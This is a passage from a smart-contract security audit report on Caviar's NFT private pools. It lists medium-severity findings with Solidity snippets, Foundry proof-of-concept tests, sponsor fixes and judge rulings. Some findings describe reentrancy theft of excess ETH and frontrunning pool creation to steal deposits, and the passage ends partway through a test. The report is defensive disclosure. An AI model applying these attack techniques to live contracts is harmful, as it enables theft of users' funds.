https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L731-L738

731:     function changeFeeQuote(uint256 inputAmount) public view returns (uint256 feeAmount, uint256 protocolFeeAmount) {
732:         // multiply the changeFee to get the fee per NFT (4 decimals of accuracy)
733:         uint256 exponent = baseToken == address(0) ? 18 - 4 : ERC20(baseToken).decimals() - 4;
734:         uint256 feePerNft = changeFee * 10 ** exponent;
735: 
736:         feeAmount = inputAmount * feePerNft / 1e18;
737:         protocolFeeAmount = feeAmount * Factory(factory).protocolFeeRate() / 10_000;
738:     }

As we can see in the previous snippet, in case the baseToken is an ERC20, then the exponent is calculated as ERC20(baseToken).decimals() - 4. The main issue here is that if the token decimals are less than 4, then the subtraction will cause an underflow due to Solidity’s default checked math, causing the whole transaction to be reverted.

Such tokens with low decimals exist, one major example is GUSD, Gemini dollar, which has only two decimals. If any of these tokens is used as the base token of a pool, then any call to the change will be reverted, as the scaling of the charge fee will result in an underflow.

Proof of Concept

In the following test we recreate the “Gemini dollar” token (GUSD) which has 2 decimals and create a Private Pool using it as the base token. Any call to change or changeFeeQuote will be reverted due to an underflow error.

Note: the snippet shows only the relevant code for the test. Full test file can be found here.

function test_PrivatePool_changeFeeQuote_LowDecimalToken() public {
    // Create a pool with GUSD which has 2 decimals
    ERC20 gusd = new GUSD();

    PrivatePool privatePool = new PrivatePool(
        address(factory),
        address(royaltyRegistry),
        address(stolenNftOracle)
    );
    privatePool.initialize(
        address(gusd), // address _baseToken,
        address(milady), // address _nft,
        100e18, // uint128 _virtualBaseTokenReserves,
        10e18, // uint128 _virtualNftReserves,
        500, // uint56 _changeFee,
        100, // uint16 _feeRate,
        bytes32(0), // bytes32 _merkleRoot,
        false, // bool _useStolenNftOracle,
        false // bool _payRoyalties
    );

    // The following will fail due an overflow. Calls to `change` function will always revert.
    vm.expectRevert();
    privatePool.changeFeeQuote(1e18);
}

The implementation of changeFeeQuote should check if the token decimals are less than 4 and handle this case by dividing by the exponent difference to correctly scale it (i.e. chargeFee / (10 ** (4 - decimals))). For example, in the case of GUSD with 2 decimals, a chargeFee value of 5000 should be treated as 0.50.

outdoteth (Caviar) acknowledged

Alex the Entreprenerd (judge) commented:

I have considered downgrading as I don’t believe most tokens meet this requirement.

That said, I believe the finding is valid per our rules, with some tokens, taking the changeFeeQuote will revert due to an assumption that decimals - 4 wouldn’t revert.

The contracts cannot be used for those tokens, but since this is contingent on using such a low decimal token, I agree with Medium Severity and believe a nofix to be fine since most Stablecoins have more than 4 decimals.


[M-05] EthRouter.sell, EthRouter.deposit, and EthRouter.change functions can be DOS’ed for some ERC721 tokens

Submitted by rbserver

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L152-L209

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L219-L248

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L254-L293

https://etherscan.io/address/0xf5b0a3efb8e8e4c201e2a935f110eaaf3ffecb8d#code#L672

Impact

The following EthRouter.sell, EthRouter.deposit, and EthRouter.change functions call the corresponding ERC721 tokens’ setApprovalForAll functions.

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L152-L209

    function sell(Sell[] calldata sells, uint256 minOutputAmount, uint256 deadline, bool payRoyalties) public {
        ...
        // loop through and execute the sells
        for (uint256 i = 0; i < sells.length; i++) {
            ...
            // approve the pair to transfer NFTs from the router
            ERC721(sells[i].nft).setApprovalForAll(sells[i].pool, true);
            ...
        }
        ...
    }

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L219-L248

    function deposit(
        address payable privatePool,
        address nft,
        uint256[] calldata tokenIds,
        uint256 minPrice,
        uint256 maxPrice,
        uint256 deadline
    ) public payable {
        ...
        // approve pair to transfer NFTs from router
        ERC721(nft).setApprovalForAll(privatePool, true);
        ...
    }

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L254-L293

    function change(Change[] calldata changes, uint256 deadline) public payable {
        ...
        // loop through and execute the changes
        for (uint256 i = 0; i < changes.length; i++) {
            Change memory _change = changes[i];
            ...
            // approve pair to transfer NFTs from router
            ERC721(_change.nft).setApprovalForAll(_change.pool, true);
            ...
        }
        ...
    }

For ERC721 tokens like Axie, which its setApprovalForAll function is shown below, calling their setApprovalForAll functions with the same msg.sender-_operator-_approved combination would revert because of requirements like require(_tokenOperator[msg.sender][_operator] != _approved).

For these ERC721 tokens, calling the EthRouter.sell, EthRouter.deposit, and EthRouter.change functions for the first time, which call such tokens’ setApprovalForAll functions for the first time, can succeed; however, calling the EthRouter.sell, EthRouter.deposit, and EthRouter.change functions again, which call such tokens’ setApprovalForAll functions with the same pool as _operator and true as _approved again, will revert. In this case, the EthRouter.sell, EthRouter.deposit, and EthRouter.change functions are DOS’ed for such ERC721 tokens.

https://etherscan.io/address/0xf5b0a3efb8e8e4c201e2a935f110eaaf3ffecb8d#code#L672

  function setApprovalForAll(address _operator, bool _approved) external whenNotPaused {
    require(_tokenOperator[msg.sender][_operator] != _approved);
    _tokenOperator[msg.sender][_operator] = _approved;
    ApprovalForAll(msg.sender, _operator, _approved);
  }

Proof of Concept

The following steps can occur for the described scenario.

  1. Alice calls the EthRouter.sell function to sell 1 Axie NFT to a private pool, which succeeds.
  2. Alice calls the EthRouter.sell function again to sell another Axie NFT to the same private pool. However, this function call’s execution of ERC721(sells[i].nft).setApprovalForAll(sells[i].pool, true) reverts because Axie’s require(_tokenOperator[msg.sender][_operator] != _approved) reverts.
  3. Bob tries to repeat Step 2 but his EthRouter.sell function call also reverts.
  4. Hence, the EthRouter.sell function is DOS’ed for selling any Axie NFTs to the same private pool for any users.

Tools Used

VS Code

The EthRouter.sell, EthRouter.deposit, and EthRouter.change functions can be respectively updated to check if the EthRouter contract has approved the corresponding pool to spend any of the corresponding ERC721 tokens received by itself. If not, the corresponding ERC721’s setApprovalForAll function can be called; otherwise, the corresponding ERC721’s setApprovalForAll function should not be called.

outdoteth (Caviar) confirmed and mitigated:

Fixed in: https://github.com/outdoteth/caviar-private-pools/pull/7

Proposed fix is to skip the approval step if the pool has already been approved to transfer the NFTs from the EthRouter.

function _approveNfts(address nft, address target) internal {
    // check if the router is already approved to transfer NFTs from the caller
    if (ERC721(nft).isApprovedForAll(address(this), target)) return;

    // approve the target to transfer NFTs from the router
    ERC721(nft).setApprovalForAll(target, true);
}

Alex the Entreprenerd (judge) commented:

The Warden has shown how, the always re-approve pattern can cause reverts, this is contingent on the specific NFT used, however, AXIE is in my opinion a sufficiently relevant token for this finding to be valid.

Due to it’s reliance on token implementation I agree with Medium Severity.

Status: Mitigation confirmed. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.


[M-06] Flashloan fee is not distributed to the factory

Submitted by rvierdiiev

When user takes a flashloan, then he pays a fee to the PrivatePool. The problem is that the whole fee amount is sent to PrivatePool and factory receives nothing.

However, all other function of contract send some part of fees to the factory.

For example, change function, which is similar to the flashloan as it doesn’t change virtual nft and balance reserves. This function calculates pool and protocol fees.

But in case of flashloan, only pool receives fees.

Tools Used

VS Code

Send some part of flashloan fee to the factory.

outdoteth (Caviar) confirmed and commented:

Fixed in: https://github.com/outdoteth/caviar-private-pools/pull/8.

Proposed fix is to add a method that returns the protocol fee and flash fee. And then have the flash fee function sum the two outputs:

function flashFeeAndProtocolFee() public view returns (uint256 feeAmount, uint256 protocolFeeAmount) {
    // multiply the changeFee to get the fee per NFT (4 decimals of accuracy)
    uint256 exponent = baseToken == address(0) ? 18 - 4 : ERC20(baseToken).decimals() - 4;
    feeAmount = changeFee * 10 ** exponent;
    protocolFeeAmount = feeAmount * Factory(factory).protocolFeeRate() / 10_000;
}


function flashFee(address, uint256) public view returns (uint256) {
    (uint256 feeAmount, uint256 protocolFeeAmount) = flashFeeAndProtocolFee();
    return feeAmount + protocolFeeAmount;
}

and then add the protocol payment in the flashLoan method:

// -- snip -- //

if (baseToken != address(0)) {
    // transfer the fee from the borrower
    ERC20(baseToken).safeTransferFrom(msg.sender, address(this), flashFee);

    // transfer the protocol fee to the factory
    ERC20(baseToken).safeTransferFrom(msg.sender, factory, protocolFee);
} else {
    // transfer the protocol fee to the factory
    factory.safeTransferETH(protocolFee);
}

Alex the Entreprenerd (judge) commented:

@outdoteth - Can you please confirm if you originally intended to have the protocol charge a fee for Flashloans?

outdoteth (Caviar) commented:

It was an oversight that we did not charge fees on flash loans. It’s implied that it should be paid though since protocol fees are charged everywhere else a user makes a transaction.

Alex the Entreprenerd (judge) commented:

The Warden has found an inconsistency as to how fees are paid. After confirming with the Sponsor, I agree with Medium Severity.

Status: Mitigation confirmed. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.


[M-07] Royalty recipients will not get fair share of royalties

Submitted by 0xLanterns, also found by abiih, bshramin, adriro, CodingNameKiki, Bason, DishWasher, AkshaySrivastav, Voyvoda, savi0ur, aviggiano, MiloTruck, Nyx, RaymondFam, T1MOH, DadeKuma, ElKu, Dug, sashik_eth, yixxas, J4de, and Ruhum

Recipients of NFTs who accept royalties will not get their fair share of royalties. This is because royalties are calculated by dividing the sales price equally amongst all sold NFTs in that purchase. The issue with this is that it assumes all NFTs cost the same amount when it comes time to deal out royalties. If NFTs cost different amounts, then they should be getting an amount of royalties based on that weight relative to the other NFTs. The impact of this is that Royalties will not be distributed evenly at the expense of the more expensive NFT. Meaning that recipients of the expensive NFT will always receive less than they are owed. And the cheaper ones will get more than owed. In short, this is a loss of funds or misdistribution of funds.

Proof of Concept

The easiest way to test this will to be add this snippet into Milady.sol.

Using this to have access to ERC2981’s setRoyaltyInfo():

file: Milady.sol
    function setRoyaltyInfo(
        uint256 _royaltyFeeRate,
        address _royaltyRecipient
    ) public {
        royaltyFeeRate = _royaltyFeeRate;
        royaltyRecipient = _royaltyRecipient;
    }

    function supportsInterface(
        bytes4 interfaceId
    ) public view override(ERC2981, ERC721) returns (bool) {
        return super.supportsInterface(interfaceId);
    }

    function royaltyInfo(
        uint256 id,
        uint256 salePrice
    ) public view override returns (address, uint256) {
        return super.royaltyInfo(id, salePrice);
    }

    function setRoyaltyInfo(uint256 id, address reciever, uint96 fee) public {
        super._setTokenRoyalty(id, reciever, fee);
    }
}

Then add this snippet to Fixture.sol:

file: Fixture.sol

    GodsUnchained public gu = new GodsUnchained();

Then add this snippet to token-weights.json:

Changing the weights to represent the two NFT’s being bought in this case.

[
  [
    1,
    1
  ],
  [
    2,
    10
  ]
]

Lastly to test this, you need to add this test to Buy.t.sol:

    // forge test --match-test test_unevenRoyalties --ffi
    function test_unevenRoyalties() public {
        // arrange
        privatePool = new PrivatePool(
            address(factory),
            address(royaltyRegistry),
            address(stolenNftOracle)
        );
        privatePool.initialize(
            baseToken,
            address(gu),
            virtualBaseTokenReserves,
            12e18,
            changeFee,
            feeRate,
            generateMerkleRoot(),
            true,
            true
        );
        //> owner of nft's
        address user1 = address(0xbeefbeef);
        address user2 = address(0xfeebfeeb);

        //> mint and push nft's one is 1x one is 10x
        gu.mint(address(privatePool), 1);
        tokenIds.push(1);
        tokenWeights.push(1e18);

        gu.mint(address(privatePool), 2);
        tokenIds.push(2);
        tokenWeights.push(10e18);

        //> set fees. 1% for one user, 10% for the other
        gu.setRoyaltyInfo(1, user1, 100);
        gu.setRoyaltyInfo(2, user2, 1000);

        //> set up
        proofs = generateMerkleProofs(tokenIds, tokenWeights);
        uint256 weightSum = privatePool.sumWeightsAndValidateProof(
            tokenIds,
            tokenWeights,
            proofs
        );
        (uint256 netInputAmount, , ) = privatePool.buyQuote(weightSum);

        //> buy
        privatePool.buy{value: netInputAmount * 2}( 
            tokenIds,
            tokenWeights,
            proofs
        );

        //> assert that users got equal reserves. with different weights and royalty fees users should NOT be getting the same amount of royalties
        //> the royalty fee of user2 is 10 times greater than user one. This shows that user2 is getting 10 times as much royaltys when user 2 should be getting 100 times as much as user one.
        //> user 1: 1% of 1 eth = 0.01 eth
        //> user 2: 10% of 10 eth = 1 eth
        //> 0.01 eth * 100 = 1eth.
        //> user 2 should be getting 100 times more royalties than user 1 but is only getting 10 times the amount.
        assertEq(user1.balance * 10, address(user2).balance);
    }

Tools Used

Foundry

To address this issue, it is recommended that the weight of NFTs relative to other NFTs being purchased should be taken into consideration when calculating royalties.

outdoteth (Caviar) acknowledged, but disagreed with severity and commented:

It is commented in the code that it’s assumed all NFTs in the purchase are of the same price: https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L334

Assuming that the recipient is the same for each NFTs royalty payment (which it almost always is in practice), then this makes sense.

NFT 1 is worth 1 ETH
NFT 2 is worth 2 ETH<

(1 + 2) / 2 = 1.5 ETH
1 / 2 + 2 / 2 = 1.5 ETH

The output is the same. The additional complexity of individually calculating each price is not worth it.

Alex the Entreprenerd (judge) decreased severity to Medium and commented:

I believe that the finding is valid because the EIP specifies that each NFT may have a different royalty, the contract is still fetching the specific royalty for each NFT id, leading me to believe that this will cause incorrect royalty payouts in specific cases in which a collection has different royalties based on the NFT id.

As a developer, I agree with the Sponsor with a nofix and believe in practice that this should not be an issue.

As a Judge, I believe the finding meets the requirements of improperly implementing an EIP, which can cause a loss of yield. For this reason, I think Medium Severity to be appropriate.


[M-08] Loss of funds for traders due to accounting error in royalty calculations

Submitted by AkshaySrivastav, also found by chaduke, bshramin, adriro, saian, 0xRobocop, adriro, Koolex, tallo, rbserver, rvierdiiev, rvierdiiev, cryptonue, bin2chen, chaduke, and sashik_eth

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L237-L281

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L328-L355

Impact

The PrivatePool.buy and PrivatePool.sell functions intend to distribute royalty amount whenever NFTs are traded. The implementation of buy and sell looks like this:

    function buy(uint256[] calldata tokenIds, uint256[] calldata tokenWeights, MerkleMultiProof calldata proof)
        public
        payable
        returns (uint256 netInputAmount, uint256 feeAmount, uint256 protocolFeeAmount)
    {
        // ...

        // calculate the sale price (assume it's the same for each NFT even if weights differ)
        uint256 salePrice = (netInputAmount - feeAmount - protocolFeeAmount) / tokenIds.length;
        uint256 royaltyFeeAmount = 0;
        for (uint256 i = 0; i < tokenIds.length; i++) {
            // transfer the NFT to the caller
            ERC721(nft).safeTransferFrom(address(this), msg.sender, tokenIds[i]);

            if (payRoyalties) {
                // get the royalty fee for the NFT
                (uint256 royaltyFee,) = _getRoyalty(tokenIds[i], salePrice);

                // add the royalty fee to the total royalty fee amount
                royaltyFeeAmount += royaltyFee;
            }
        }

        // add the royalty fee amount to the net input aount
        netInputAmount += royaltyFeeAmount;

        // ...

        if (payRoyalties) {
            for (uint256 i = 0; i < tokenIds.length; i++) {
                // get the royalty fee for the NFT
                (uint256 royaltyFee, address recipient) = _getRoyalty(tokenIds[i], salePrice);

                // transfer the royalty fee to the recipient if it's greater than 0
                if (royaltyFee > 0 && recipient != address(0)) {
                    if (baseToken != address(0)) {
                        ERC20(baseToken).safeTransfer(recipient, royaltyFee);
                    } else {
                        recipient.safeTransferETH(royaltyFee);
                    }
                }
            }
        }

        // emit the buy event
        emit Buy(tokenIds, tokenWeights, netInputAmount, feeAmount, protocolFeeAmount, royaltyFeeAmount);
    }

    function sell(
        ...
    ) public returns (...) {
        // ...

        uint256 royaltyFeeAmount = 0;
        for (uint256 i = 0; i < tokenIds.length; i++) {
            // transfer each nft from the caller
            ERC721(nft).safeTransferFrom(msg.sender, address(this), tokenIds[i]);

            if (payRoyalties) {
                // calculate the sale price (assume it's the same for each NFT even if weights differ)
                uint256 salePrice = (netOutputAmount + feeAmount + protocolFeeAmount) / tokenIds.length;

                // get the royalty fee for the NFT
                (uint256 royaltyFee, address recipient) = _getRoyalty(tokenIds[i], salePrice);

                // tally the royalty fee amount
                royaltyFeeAmount += royaltyFee;

                // transfer the royalty fee to the recipient if it's greater than 0
                if (royaltyFee > 0 && recipient != address(0)) {
                    if (baseToken != address(0)) {
                        ERC20(baseToken).safeTransfer(recipient, royaltyFee);
                    } else {
                        recipient.safeTransferETH(royaltyFee);
                    }
                }
            }
        }

        // subtract the royalty fee amount from the net output amount
        netOutputAmount -= royaltyFeeAmount;

        if (baseToken == address(0)) {
            // transfer ETH to the caller
            msg.sender.safeTransferETH(netOutputAmount);

            // if the protocol fee is set then pay the protocol fee
            if (protocolFeeAmount > 0) factory.safeTransferETH(protocolFeeAmount);
        } else {
            // transfer base tokens to the caller
            ERC20(baseToken).transfer(msg.sender, netOutputAmount);

            // if the protocol fee is set then pay the protocol fee
            if (protocolFeeAmount > 0) ERC20(baseToken).safeTransfer(address(factory), protocolFeeAmount);
        }

        // ...
    }

It should be noted that while calculating royaltyFeeAmount the the recipient address returned from _getRoyalty function is ignored and the returned royaltyFee is added to the royaltyFeeAmount. This cumulative royalty amount is then collected from the trader.

However while performing the actual royalty transfer to the royalty recipient the returned recipient address is validated to not be equal to 0. The royalty is only paid when the recipient address is non-zero.

This inconsistency between royalty collection and royalty distribution can cause loss of funds to the traders. In the cases when royaltyFee is non-zero but recipient address is zero, the fee will be collected from traders but won’t be distributed to royalty recipient. Hence causing loss of funds to the traders.

As the creation of private pools is open to everyone, the likelihood of this vulnerability is high.

Proof of Concept

Consider this scenario:

  • A buyer initiates the buy call for an NFT.
  • The PrivatePool.buy function queries the _getRoyalty function which returns 10 WETH as the royaltyFee and 0x00 address as the royalty recipient.
  • This 10 WETH value will be added to the royaltyFeeAmount amount and will be collected from the buyer.
  • But since the recipient address is 0x00, the 10 WETH royalty amount will not be distributed.
  • The 10 WETH amount won’t be returned to the buyer either. It just simply stays inside the pool contract.
  • The buyer here suffered loss of 10 WETH.

A similar scenario is possible for the NFT sell flow.

Consider collecting royalty amount from traders only when the royalty recipient is non-zero.

    if (royaltyFee > 0 && recipient != address(0)) {
        royaltyFeeAmount += royaltyFee;
    }

outdoteth (Caviar) confirmed and commented:

Fixed in: https://github.com/outdoteth/caviar-private-pools/pull/11.

Proposed fix is to only increment the total royalty fee amount in sell() and buy() when the recipient address is not zero.

In sell():

// transfer the royalty fee to the recipient if it's greater than 0
if (royaltyFee > 0 && recipient != address(0)) {
    // tally the royalty fee amount
    royaltyFeeAmount += royaltyFee;

    if (baseToken != address(0)) {
        ERC20(baseToken).safeTransfer(recipient, royaltyFee);
    } else {
        recipient.safeTransferETH(royaltyFee);
    }
}

In buy():

if (royaltyFee > 0 && recipient != address(0)) {
    // add the royalty fee to the total royalty fee amount
    royaltyFeeAmount += royaltyFee;
}

Alex the Entreprenerd (judge) decreased severity to Medium and commented:

The Warden has shown how, due to a logic discrepancy, a non-zero royalty would be removed from total paid, but wouldn’t be transferred.

The behaviour is inconsistent, so the finding is valid.

Technically the tokens will be left in the pool, meaning the owner will be able to retrieve them.

Factually this would end up being an additional cost to the buyer, more so than a loss of funds.

Because the finding shows an inconsistent behavior, that doesn’t cause a loss of funds beside the royalty fee, I believe Medium Severity to be the most appropriate.

Alex the Entreprenerd (judge) commented:

At this time, with the information that I have available, the finding highlights the fact that the royalties may be paid, but not transferred to the recipient if the recipient is the address(0).

While the OZ implementation addresses this, I don’t believe older implementations would.

I also have to concede that having non-zero royalties sent to address(0) should not be common.

However, I maintain that the issue with the finding is not the address(0) per-se which would have been rated as Low, but the fact that in that case the behaviour is inconsistent with other cases, and that will cause a cost to the payer although the royalties will not be forwarded.

By contrast, if the royalties were sent to address(0) I would be arguing around the idea that the royalty recipient may wish to burn such tokens and that would have been within their rights to do so.

For the reasons above, am maintaining Medium Severity.

Status: Mitigation confirmed. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.


[M-09] Malicious royalty recipient can steal excess eth from buy orders

Submitted by Voyvoda, also found by sashik_eth, Evo, giovannidisiena, Kenshin, philogy, 0xRobocop, teawaterwire, and Ruhum

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L268

https://github.com/code-423n4/2023-04-caviar/blob/main/src/EthRouter.sol#L140-L143

Impact

Users that submit single or bulk Buy orders through EthRouter.sol can have their excess eth stolen by a malicious royalty recipient.

Proof of Concept

Introduction

The buy(...) function in PrivatePool.sol refunds excess ether back to EthRouter.sol and then pays a royalty amount to a royalty recipient. The order is the following:

// refund any excess ETH to the caller
if (msg.value > netInputAmount) msg.sender.safeTransferETH(msg.value - netInputAmount);
if (payRoyalties) {
    ...
else {
    recipient.safeTransferETH(royaltyFee);
}

This turns out to be dangerous since now buy(...) in EthRouter.sol can be reentered from the fallback function of a royalty recipient. In the fallback function the attacker would call buy in the EthRouter.sol with an empty Buy[] buys calldata, deadline=0 and payRoyalties = false which will skip the for loop in buy(...), since buys is empty, and would reach the following block of code:

// refund any surplus ETH to the caller
if (address(this).balance > 0) {
    msg.sender.safeTransferETH(address(this).balance);
}

Since now msg.sender is the royalty recipient he would receive all the ether that is currently residing in EthRouter.sol while the original buy(...) triggered by the user hasn’t yet finished.

Before supplying a PoC implementation in Foundry, there are a few caveats to be noted.

Firstly, this issue can be more easily reproduced by assuming that the malicious royalty recipient would come either from a single Buy order consisting of a single tokenId or multiple Buy orders where the tokenId with the malicious royalty recipient is the last tokenId in the array of the last Buy order.

In the case of the tokenId associated with the malicious royalty recipient being positioned NOT in last place in the tokenIds[] array in the last Buy order we would have to write a fallback function that after collecting all the ether in EthRouter.sol somehow extracts information of how much ether would be needed to successfully complete the rest of the buy(...) invocations (that will be called on the rest of the tokenIds[]) and sends that ether back to EthRouter.sol so that the whole transaction doesn’t revert due to EthRouter.sol being out of funds. In the presented PoC implementation it is assumed that tokenIds has a single token or the malicious royalty recipient is associated with the last tokenId in the last Buy if there are multiple Buy orders. In the case where tokenId is positioned not in last place a more sophisticated approach would be needed to steal the excess eth that involves inspecting the EthRouter.buy(...) while it resides in the transaction mempool and front-running a transaction that configures a fallback() function in the royalty recipient that would send the necessary amount of the stolen excess eth back to EthRouter.sol so that buy(...) doesn’t revert.

PoC implementation

See warden’s original submission for full details.

Note on severity

A severity rating of “High” was chosen due to the following:

  1. Although the current state of the NFT market mostly has adopted NFTs that have royalty payments directly to the creator, the authors of Caviar have acknowledged the ERC-2981 standard and it is assumed they are aware that royaltyInfo returns an arbitrary royalty recipient address.
  2. The PoC implementation in this report uses an already existing NFT project - Pixels1024 - deployed on the Polygon network that shows a use case where users are responsible for the creation of a given NFT from a collection and therefore the user-creator is assigned as a royalty recipient.
  3. It is possible that future projects adopting ERC-2981 could have novel and complex interactions between who creates and who receives royalties in a given collection, therefore, extra caution should be a priority when handling royaltyInfo requests and the current implementation is shown to have а notable vulnerability.

Tools Used

  1. Foundry
  2. ERC-2981 specification - https://eips.ethereum.org/EIPS/eip-2981
  3. 1024 Pixels NFT - repo; polygon;

Rework buy in EthRouter.sol and PrivatePool.sol. Use reentrancy guard.

outdoteth (Caviar) acknowledged via duplicate issue #752

Alex the Entreprenerd (judge) decreased severity to Medium


[M-10] Incorrect protocol fee is taken when changing NFTs

Submitted by Voyvoda, also found by saian, GT_Blockchain, Josiah, CodingNameKiki, JGcarv, DishWasher, neumo, RaymondFam, and J4de

Incorrect protocol fee is taken when changing NFTs which results in profit loss for the Caviar protocol.

Proof of Concept

The protocol fee in changeFeeQuote is calculated as a percentage of the feeAmount which is based on the input amount:

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L737

function changeFeeQuote(uint256 inputAmount) public view returns (uint256 feeAmount, uint256 protocolFeeAmount) {
    ...
    protocolFeeAmount = feeAmount * Factory(factory).protocolFeeRate() / 10_000;

This seems wrong as in buyQuote and sellQuote the protocol fee is calculated as a percentage of the input amount, not the pool fee amount:

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L703

function buyQuote(uint256 outputAmount)
    ...
    protocolFeeAmount = inputAmount * Factory(factory).protocolFeeRate() / 10_000;

https://github.com/code-423n4/2023-04-caviar/blob/main/src/PrivatePool.sol#L721

function sellQuote(uint256 inputAmount)
    ...
    protocolFeeAmount = outputAmount * Factory(factory).protocolFeeRate() / 10_000;

This makes the protocol fee extremely low meaning a profit loss for the protocol.

protocolFeeAmount in changeFeeQuote should be a percentage of the input amount instead of the pool fee.

outdoteth (Caviar) confirmed, but disagreed with severity and commented:

There is no risk of fund loss here. But agree that this is an issue.

outdoteth (Caviar) mitigated:

Fix is here: https://github.com/outdoteth/caviar-private-pools/pull/13.

Proposed fix is to add a separate fee called protocolChangeFeeRate which can be much higher than protocolFeeRate. For example, protocolChangeFeeRate could be on the order of ~20-30%. For example, if the fixed changeFee is 0.1 ETH, the NFT is worth 1.5 ETH, and the protocolChangeFeeRate is 30%, then the protocol fee would be 0.03 ETH on a change() or flashLoan().

function changeFeeQuote(uint256 inputAmount) public view returns (uint256 feeAmount, uint256 protocolFeeAmount) {
    // multiply the changeFee to get the fee per NFT (4 decimals of accuracy)
    uint256 exponent = baseToken == address(0) ? 18 - 4 : ERC20(baseToken).decimals() - 4;
    uint256 feePerNft = changeFee * 10 ** exponent;

    feeAmount = inputAmount * feePerNft / 1e18;
    protocolFeeAmount = feeAmount * Factory(factory).protocolChangeFeeRate() / 10_000;
}

Alex the Entreprenerd (judge) decreased severity to Medium and commented: The Warden has shown an inconsistency in how protocolFees are computed, because this is limited to a loss of Yield, I believe Medium Severity to be more appropriate.

Status: Mitigation confirmed. Full details in reports from rbserver, KrisApostolov, and rvierdiiev.


[M-11] Factory.create: Predictability of pool address creates multiple issues.

Submitted by AkshaySrivastav, also found by sashik_eth, saian, adriro, said, fs0c, philogy, carlitox477, holyhansss_kr, hasmama, juancito, Dug, GT_Blockchain, bin2chen, hihen, ladboy233, zion, dingo2077, yixxas, 0xTheC0der, and Haipls

The Factory.create function is responsible for creating new PrivatePools. It does this using the LibClone.cloneDeterministic function.

    function create(
        ...
        bytes32 _salt,
        ...
    ) public payable returns (PrivatePool privatePool) {
        if ((_baseToken == address(0) && msg.value != baseTokenAmount) || (_baseToken != address(0) && msg.value > 0)) {
            revert PrivatePool.InvalidEthAmount();
        }

        // deploy a minimal proxy clone of the private pool implementation
        privatePool = PrivatePool(payable(privatePoolImplementation.cloneDeterministic(_salt)));

        // ...
    }

The address of the new PrivatePool depends solely upon the _salt parameter provided by the user. Once the user’s create transaction is broadcasted, the _salt parameter can be viewed by anyone watching the public mempool.

This public readability of _salt parameter creates two issues:

  1. Stealing of user’s deposit amount.
    If a user intends to create new pool and deposit some funds in it then an attacker can frontrun the user’s txns and capture the deposit amounts. Here is how this can happen:

    • User broadcasts two txns, first one to create a pool with XXX as the salt and second one to deposit some ETH into the new pool.
    • The attacker views these pending txns and frontruns them to create a PrivatePool for himself with same XXX salt.
    • The new pool gets created for the attacker, the address of this pool will be same as what the user will be expecting for his pool.
    • The user’s create pool txn gets reverted but deposit txn gets executed successfully. Hence the user deposited ETH in attacker’s pool.
    • Being the owner of the pool the attacker simply withdraws the deposited ETH from the PrivatePool.
  2. DoS for Factory.create.
    If a user intends to create a PrivatePool, his create txn can be forcefully reverted by an attacker by deploying a pool for himself using the user’s salt. Here is how this can happen:

    • The user broadcasts the create pool txn with salt XXX.
    • The attacker frontruns the user’s txn and creates a pool for hiself using the same XXX salt.
    • The user’s original create txn gets reverted as attacker’s pool already exist on the predetermined address.
    • This attack can be repeated again and again resulting in DoS for the Factory.create function.

Proof of Concept

These test cases were added to test/PrivatePool/Withdraw.t.sol file and were ran using forge test --ffi --mp test/PrivatePool/Withdraw.t.sol --mt test_audit

    function test_audit_create_stealDeposit() public {
        address user1 = makeAddr("user1");
        vm.deal(user1, 10 ether);
        vm.startPrank(user1);

        address predictedAddress = factory.predictPoolDeploymentAddress(bytes32(0));

        // tries to create pool and deposit funds
        // 1. factory.create(...)
        // 2. pool.deposit(...)

        // but user2 frontruns the txns

        address user2 = makeAddr("user2");
        changePrank(user2);

        uint baseTokenAmount = 0;

        PrivatePool pool = factory.create{value: baseTokenAmount}(
            baseToken,
            nft,
            virtualBaseTokenReserves,
            virtualNftReserves,
            changeFee,
            feeRate,
            merkleRoot,
            true,
            false,
            bytes32(0),
            tokenIds,
            baseTokenAmount
        );
        assertEq(predictedAddress, address(pool));
        assertEq(factory.ownerOf(uint256(uint160(address(pool)))), address(user2));

        changePrank(user1);

        vm.expectRevert(LibClone.DeploymentFailed.selector);
        factory.create{value: baseTokenAmount}(
            baseToken,
            nft,
            virtualBaseTokenReserves,
            virtualNftReserves,
            changeFee,
            feeRate,
            merkleRoot,
            true,
            false,
            bytes32(0),
            tokenIds,
            baseTokenAmount
        );

        pool.deposit{ value: 10 ether }(tokenIds, 10 ether);
        assertEq(address(pool).balance, 10 ether);

        changePrank(user2);
        pool.withdraw(address(0), tokenIds, address(0), 10 ether);
        assertEq(address(pool).balance, 0);
        assertEq(user2.balance, 10 ether);
    }

    function test_audit_create_DoS() public {
        address user1 = makeAddr("user1");
        vm.deal(user1, 10 ether);
        vm.startPrank(user1);

        address predictedAddress = factory.predictPoolDeploymentAddress(bytes32(0));

        // user1 tries to create pool
        // factory.create(...)

        // but user2 frontruns the txn

        address user2 = makeAddr("user2");
        changePrank(user2);

        uint baseTokenAmount = 0;

        PrivatePool pool = factory.create{value: baseTokenAmount}(
            baseToken,
            nft,
            virtualBaseTokenReserves,
            virtualNftReserves,
            changeFee,
            feeRate,
            merkleRoot,
            true,
            false,
            bytes32(0),
            tokenIds,
            baseTokenAmount
        );
        assertEq(predictedAddress, address(pool));
        assertEq(factory.ownerOf(uint256(uint160(address(pool)))), address(user2));

        changePrank(user1);

        vm.expectRevert(LibClone.DeploymentFailed.selector);
        factory.create{value: baseTokenAmount}(
            baseToken,
            nft,
            virtualBaseTokenReserves,
            virtualNftReserves,
            changeFee,
            feeRate,
            merkleRoot,
            true,
            false,
            bytes32(0),
            tokenIds,
            baseTokenAmount
        );
